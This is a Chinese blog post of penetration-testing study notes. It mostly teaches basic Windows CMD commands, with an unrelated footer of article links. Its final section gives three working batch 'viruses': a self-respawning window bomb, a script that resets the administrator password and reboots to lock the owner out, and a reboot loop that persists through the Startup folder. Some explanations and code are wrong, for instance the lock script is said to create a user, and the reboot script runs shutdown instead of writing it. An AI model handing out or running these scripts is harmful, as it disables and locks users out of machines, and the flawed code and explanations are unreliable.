渗透测试笔记—Windows基础和病毒制作

news2024/11/30 8:13:01

声明:

学习视频来自B站up主 【泷羽sec】有兴趣的师傅可以关注一下,如涉及侵权马上删除文章,笔记只是方便各位师傅的学习和探讨,文章所提到的网站以及内容,只做学习交流,其他均与本人以及泷羽sec团队无关,切勿触碰法律底线,否则后果自负!!!!

内容有误的地方欢迎各位大佬及时指正修改,虚心求教,共同进步!

有兴趣的小伙伴可以点击下面连接进入b站主页[B站泷羽sec]

https://space.bilibili.com/350329294


 

目录

声明:

 常见的端口信息

常见端口及对应服务

echo命令实操

查看echo帮助信息

实现输出功能

把输出的内容定向到一个txt文件内

接下来就需要学习如何把文件保存到桌面,方便我们查找和修改

接下来学习如何追加新的内容到文件内

覆盖操作

 dir(展示当前目录文件)

 切换目录操作

 cd简单操作

tree文件树状图

帮助文档

/f 显示文件的名称

出现乱码的话可以用/a(使用ascII字符显示,而不使用扩展字符)

 md创建目录和rd删除目录

md创建

rd删除

ipconfig(显示当前的网络状态 ip配置)

查看所有的网络配置信息

cls清屏

copy(复制拼接文件)

查看帮助文档

将文件复制到上一级目录

 复制并重命名

拼接操作

move(移动文件)

 ren(重命名)

 del(删除)

ping命令(一般用于探测目标主机是否存活)

type(显示文本文件内容)

reg(注册表)

nslookup(探测域名信息)

 -d:可以查看域名的历史解析记录

 find(查找)

/n:排序查找

type和find结合使用

tasklist(任务列表 显示当前进程信息)

taskkill:终止进程服务

winver(查看Windows系统版本)

start命令(开启命令)

systeminfo(查看整个系统信息)

logoff(注销)

shutdown(关机)

telnet(协议工具)

arp(查看自己ip与物理机的映射关系)

-a 命令

at(定时命令)

net(服务)

1. 服务管理

2. 用户管理

实战cmd 编写bat病毒

1.资源耗尽,无限弹窗病毒

2.锁机病毒

3.无限重启病毒


 常见的端口信息

常见端口及对应服务

端口号服务名称描述
21FTP文件传输协议,常用于在客户端和服务器之间传输文件。
23Telnet一种用于远程登录和管理计算机的协议,通常不加密,存在安全风险。
80HTTP超文本传输协议,Web 服务的默认端口,用于传输网页内容。
81-89可能是 HTTP一些非标准 Web 服务端口,可能用于特定应用或管理界面。
443HTTPS安全的超文本传输协议,基于 SSL/TLS,提供加密的网站访问。
445SMBServer Message Block,用于文件和打印共享,通常在 Windows 网络中使用。
3306MySQLMySQL 数据库服务的默认端口,用于数据库连接。
3389RDP远程桌面协议,用于远程连接 Windows 计算机。
5432PostgreSQLPostgreSQL 数据库服务的默认端口。
5900VNC虚拟网络计算,允许远程桌面访问计算机,通常使用加密进行通信。
6379RedisRedis 数据库的默认端口。
7000WeblogicOracle WebLogic Server 的默认端口,通常用于应用服务和管理。
7001Weblogic (Admin)WebLogic 管理控制台的默认端口,通常用于服务器管理。
8080HTTP (Alt)另一个常用的 HTTP 服务端口,常用于测试和开发环境。
8090HTTP (Alternate)常用于开发和测试的替代 HTTP 端口。
8888HTTP (Alternative)经常用于开发者工具和特定服务,如 Jupyter Notebook。
10000WebminWebmin 管理界面的默认端口,常用于服务器管理。
11211MemcachedMemcached 缓存系统的默认端口,用于加速动态 Web 应用。
27017MongoDBMongoDB 数据库服务的默认端口。
27018MongoDB (Sharded)MongoDB 分片模式的默认端口。
28017MongoDB HTTP StatusMongoDB 的 HTTP 状态接口,提供 Web 界面和状态查询功能。
2222远程管理常见于虚拟主机管理和其他管理接口,使用较多。
3128Squid代理服务器软件 Squid 的默认端口,用于网页缓存和访问控制。
8089JBoss

JBoss 应用服务器的默认管理端口。

echo命令实操

echo/?
  • 查看echo帮助信息

  • 实现输出功能

echo 12333

  • 把输出的内容定向到一个txt文件内

echo 123335 > 1.txt

  • 这个时候我们去系统文件夹里面找一下
  • 好家伙,因为我是以管理员方式启动的命令行界面,所以保存的位置让我一顿好找啊

  • 这里我们可以成功看到1.txt文件
  • 接下来打开看看我们输出的内容还在不在

  • nice保存成功了,非常不错!
  • 接下来就需要学习如何把文件保存到桌面,方便我们查找和修改

cd \Users\戴尔\Desktop
  •  这里我们通过cd命令切换到桌面
  • 然后我们再次输出保存一下看看

  • 没问题,保存成功了
  • 接下来学习如何追加新的内容到文件内

echo 1256852ddd >> 1.txt

  • 覆盖操作

echo 1256852ddd2 > 1.txt

 > :代表新建和覆盖

>>:代表追加

 dir(展示当前目录文件)

dir

 切换目录操作

  • 输入盘符加冒号即可完成切换

  •  cd简单操作

cd .
  • 这里是进入当前文件
cd ..
  • 这里是返回上一层文件

  •  进入指定目录
cd desktop

tree文件树状图

  • 帮助文档

tree /?

  • 然后我们看一下树状图

  • /f 显示文件的名称

  • 这里为了方便查看结果,我自己单独建立了两个测试文件夹
tree /f

  •  这时候我们在返回到上一层看一下用户组下的文件目录树状图
tree c:\users\戴尔 /f

  • 这里显示出来所有文件目录,因为我是win10的虚拟机系统,所以文件名称没有乱码
  • 出现乱码的话可以用/a(使用ascII字符显示,而不使用扩展字符)

tree c:\users\戴尔 /a

 md创建目录和rd删除目录

  • md创建

md 文件名

  • rd删除

rd 文件名

tab补全:如果你输入到一般忘记文件路径或者命名可以按下tab按键让他自动补全

ipconfig(显示当前的网络状态 ip配置)

  • 一般使用这条命令查看本机的网络情况,排查网络故障的

  • 查看所有的网络配置信息

ipconfig /all

cls清屏

  • 嗯,非常干净(直接敲cls就可以了)

copy(复制拼接文件)

  • 查看帮助文档

copy /?

  • 将文件复制到上一级目录

copy 1.txt ..\1.txt

  •  复制并重命名

copy 1.txt Desktop\2.txt

  • 拼接操作

  • 首先我们先使用echo写入一下不同的内容

  •  接下来完成拼接
copy 1.txt+2.txt 3.txt

move(移动文件)

move ..\1.txt 4.txt

 ren(重命名)

ren 4.txt 5.txt

  • 这里可以看到我们已经完成了文件名称的修改

 del(删除)

del 1.txt 2.txt 3.txt

  • 这里可以看到我们已经把1 2 3的txt文件已经删除掉了

  • 这里可以看到我们删除的文件是直接删除掉的,没有进入到回收站

ping命令(一般用于探测目标主机是否存活)

  • 这是它的一些用法

type(显示文本文件内容)

type 5.txt

reg(注册表)

reg /?
  • 下面是一些基本的用法,这些用法我们在学习到内网渗透的时候会再去学习的

 

nslookup(探测域名信息)

nslookup 域名

  •  -d:可以查看域名的历史解析记录

nslookup -d 域名

 find(查找)

  •  先添加一组数据
echo kskakdklaldklwdkwssssssssdadadad >> 5.txt
  • 然后再去查找一下
find "sss" 5.txt

  • 它的查找是根据字符串去查找到
  • /n:排序查找

find /n "sss" 5.txt

type和find结合使用

type 5.txt | find "da" /n

tasklist(任务列表 显示当前进程信息)

taskkill:终止进程服务

  • 接下来以记事本的进程为例
taskkill /pid 1692

  • 如果遇到关不掉的加一个:/f
  • 这样可以强制关闭

winver(查看Windows系统版本)

  • 会产生一个弹窗给你

start命令(开启命令)

  • 开启一个cmd
start cmd

  •  开启一个计算器
start calc

  •  启动ping命令
start ping www.baidu.com /t

  • 这里就开启一个新的窗口进行ping百度

systeminfo(查看整个系统信息)

  • 这里我们可以查看一些比较重要的信息,比如说补丁信息
  • 后期我们提权就是针对一些不同的修补程序进行一个提权

logoff(注销)

  • 老规矩先看一下帮助

shutdown(关机)

shutdown /s :在一分钟内关机

shutdown /a :计划取消

shutdown /r :重启

shutdown /g : 在一分钟内关机

shutdown /r /t 0 :/t设置时间 设置为0立即执行

telnet(协议工具)

这个需要先去手动开启一下

  • 先打开控制面板,找到程序

  • 找到打开或关闭Windows功能

  •  找到Telnet Client客户端勾选

  • 然后我们再试一下

  • 这里我们就可以直接通过telent拼接ip做远程连接

arp(查看自己ip与物理机的映射关系)

  • 先看一下帮助文档

-a 命令

  • 假设你以后拿到了一台内网机器你通过这条命令可以查看当前内网有那些主机以助于横向移动,用于发现同一网络中有哪些主机

arp -a

at(定时命令)

  • 举例:定时关机
at 时间 "shutdown(关机)/r /t 0"
  • 取消命令
at 1 /delete

net(服务)

1. 服务管理
  • 停止 Telnet 服务

    • 命令:
      net stop telnet 
    • 描述: 关闭 Telnet 服务。
  • 启动 Telnet 服务

    • 命令:
      net start telnet 
    • 描述: 启动 Telnet 服务。
2. 用户管理
  • 查看当前用户

    • 命令:
      net user 
    • 描述: 列出当前计算机上的所有用户账户。
  • 添加新用户

    • 命令:
      net user admin 123 /add 
    • 描述: 添加名为 admin 的用户,设置密码为 123
  • 查看用户权限

    • 命令:
      net user admin 
    • 描述: 显示 admin 用户的详细信息,包括权限和组。
  • 查看管理员用户权限

    • 命令:
      net user administrator 
    • 描述: 显示 administrator 用户的详细信息,包括权限和组。
  • 将用户添加到管理员组

    • 命令:
      net localgroup administrator admin /add 
    • 描述: 将 admin 用户添加到本地管理员组。
  • 删除用户

    • 命令:
      net user admin /delete 
    • 描述: 删除名为 admin 的用户账户。

实战cmd 编写bat病毒

1.资源耗尽,无限弹窗病毒

echo start cmd > 1.txt
echo %0 >> 1.txt
ren 1.txt 1.bat
  • echo start cmd > 1.txt: 将 start cmd 写入文件 1.txt,用于打开一个新的命令行窗口。
  • echo %0 >> 1.txt: 将当前批处理脚本的名称追加到 1.txt 中,%0 代表当前脚本的名称。
  • ren 1.txt 1.bat: 将 1.txt 重命名为 1.bat,使该文件成为可执行的批处理脚本。

2.锁机病毒

echo net user administrator 123456 > c:\windows\Temp\1.bat
echo shutdown /r /t 0 >> c:\windows\Temp\1.bat
  • echo net user administrator 123456 > c:\windows\Temp\1.bat: 创建一个新用户 administrator,密码为 123456,并将其写入 1.bat 中。
  • echo shutdown /r /t 0 >> c:\windows\Temp\1.bat: 在 1.bat 中添加命令,系统重启。

3.无限重启病毒

shutdown /r /t 0 > c:\windows\Temp\1.bat
copy c:\windows\Temp\1.bat "%USERPROFILE%\AppData\Roaming\Microsoft\windows\Start Menu\Programs\Startup\"
  • shutdown /r /t 0 > c:\windows\Temp\1.bat: 创建一个脚本文件,使计算机立即重启。
  • copy c:\windows\Temp\1.bat "%USERPROFILE%\AppData\Roaming\Microsoft\windows\Start Menu\Programs\Startup\": 将 1.bat 复制到启动文件夹,以便在每次系统启动时都运行它。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2250308.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

编辑Word文档时手滑没点保存怎么办

今天帮人打了份报告,关掉的时候手滑点错了地方没保存。当然我找回来了,也许会有人不知道怎么找回来,记录在这里供人参考。 一、通过“信息”页面的“管理版本”命令组的“恢复未保存的文档”命令调出未保存的文档 二、在调出的打开文件对话框…

【娱乐项目】基于cnchar库与JavaScript的汉字查询工具

Demo介绍 利用了 cnchar 库来进行汉字相关的信息查询,并展示了汉字的拼音、笔画数、笔画顺序、笔画动画等信息用户输入一个汉字后,点击查询按钮,页面会展示该汉字的拼音、笔画数、笔画顺序,并绘制相应的笔画动画和测试图案 cnchar…

vsftpd 的安装和应用(超详细!!!)

FTP(File Transfer Protocol,文件传输协议)是一种用于在计算机网络上进行文件传输的标准协议。它允许用户从一台计算机向另一台计算机上传或下载文件。FTP的工作原理涉及到客户端和服务器之间的交互,以及数据传输的过程。 一、FT…

Apifox 11月更新|支持发布多个文档站、文档站支持 Algolia 搜索配置、从返回响应直接设置断言

Apifox 新版本上线啦!!! 在API管理和自动化测试的领域,工具的每一次更新,都意味着开发者和测试人员的工作效率将进一步提升。而11月的Apifox更新,再次为我们带来了几个重磅的新功能,助力提升文档…

关于音频 DSP 的接口种类以及其应用场景介绍

在音频系统中,DSP(数字信号处理器)扮演着重要角色,通常会通过不同的接口与音频系统中的其他组件(如功放、扬声器、音频源等)进行连接。以汽车应用场景为例,以下是一些常见的接口类型分类及其介绍…

Java多线程介绍及使用指南

“多线程”:并发 要介绍线程,首先要区分开程序、进程和线程这三者的区别。 程序:具有一定功能的代码的集合,但是是静态的,没有启动运行 进程:启动运行的程序【资源的分配单位】 线程:进程中的…

Python-链表数据结构学习(1)

一、什么是链表数据? 链表是一种通过指针串联在一起的数据结构,每个节点由2部分组成,一个是数据域,一个是指针域(存放下一个节点的指针)。最后一个节点的指针域指向null(空指针的意思&#xff0…

《心灵奇旅》观后感

1 这是一部能够给心灵带来慰藉的电影,或许在人生迷茫的时候,可以看一下,洗涤内心,换还自己一片净土。 影片的男主乔伊是一位音乐老师,他一直梦想着能够加入乐队演出。然而,在即将有机会出演时,他…

使用easyexcel导出复杂模板,同时使用bean,map,list填充

背景 在使用easyexcel导出时,如果遇到一个模板中同时存在 一部分是实体类中的字段,另外部分是列表的字段,需要特殊处理一下,比如下面的模板: 这里面 user, addr 是实体类(或者map&#xff09…

3.22【计组】 流水线加法器

实验一 timescale 1ns / 1ps/* ALU模块实现两个32bit数的add、sub、and、or、not、slt功能, 但由于Nexy7输入口限制,将num1简化为8位,在过程中再extend成32位,num2作为内部wire自行赋值,此处赋为5 由于最后的结果在to…

漫谈推理谬误——错误因果

相关文章 漫谈推理谬误——错误假设-CSDN博客文章浏览阅读736次,点赞22次,收藏3次。在日常生活中,我们会面临各种逻辑推理,有些看起来一目了然,有些非常的科学严谨,但也有很多似是而非,隐藏了陷…

实现 vue3 正整数输入框组件

1.实现代码 components/InputInteger.vue <!-- 正整数输入框 --> <template><el-input v-model"_value" input"onInput" maxlength"9" clearable /> </template><script lang"ts" setup> import { ref …

Hot100 - 搜索二维矩阵II

Hot100 - 搜索二维矩阵II 最佳思路&#xff1a; 利用矩阵的特性&#xff0c;针对搜索操作可以从右上角或者左下角开始。通过判断当前位置的元素与目标值的关系&#xff0c;逐步缩小搜索范围&#xff0c;从而达到较高的效率。 从右上角开始&#xff1a;假设矩阵是升序排列的&a…

Hello SpringBoot!

Spring Initializr&#xff1a;一个快速构建springboot项目的网站 进入网站后&#xff0c;选择&#xff1a; Project: MavenLanguage: JavaSpring Boot: 最新稳定版Dependencies: Spring Web 生成的文件结构类似于&#xff1a; my-spring-boot-app ├── src │ ├── m…

模型压缩——量化方法解读

1.引言 前面我们已经介绍了剪枝、蒸馏等通过减少模型参数量来进行压缩的方法。除这些方法以外&#xff0c;量化 (quantization) 是另一种能够压缩模型参数的方法。与前面方法不同的是&#xff0c;量化并不减少模型参数量&#xff0c;而是通过修改网络中每个参数占用的比特数&a…

Core 授权 认证 案例

利用 cookie 模式 》》 框架默认的 利用 cookie 模式 》》 策略授权

计算机网络常见面试题总结(上)

计算机网络基础 网络分层模型 OSI 七层模型是什么&#xff1f;每一层的作用是什么&#xff1f; OSI 七层模型 是国际标准化组织提出的一个网络分层模型&#xff0c;其大体结构以及每一层提供的功能如下图所示&#xff1a; 每一层都专注做一件事情&#xff0c;并且每一层都需…

Macos远程连接Linux桌面教程;Ubuntu配置远程桌面;Mac端远程登陆Linux桌面;可能出现的问题

文章目录 1. Ubuntu配置远程桌面2. Mac端远程登陆Linux桌面3. 可能出现的问题1.您用来登录计算机的密码与登录密钥环里的密码不再匹配2. 找不到org->gnome->desktop->remote-access 1. Ubuntu配置远程桌面 打开设置->共享->屏幕共享。勾选允许连接控制屏幕&…

【C语言】结构体、联合体、枚举类型的字节大小详解

在C语言中&#xff0c;结构体&#xff08;struct&#xff09;和联合体&#xff08;union&#xff09; 是常用的复合数据类型&#xff0c;它们的内存布局和字节大小直接影响程序的性能和内存使用。下面为大家详细解释它们的字节大小计算方法&#xff0c;包括对齐规则、内存分配方…

免交互运用

免交互的概念 文本免交互 免交互的格式 变量配置 expect expect的格式 在脚本外传参 嵌套 练习 免交互ssh远程连接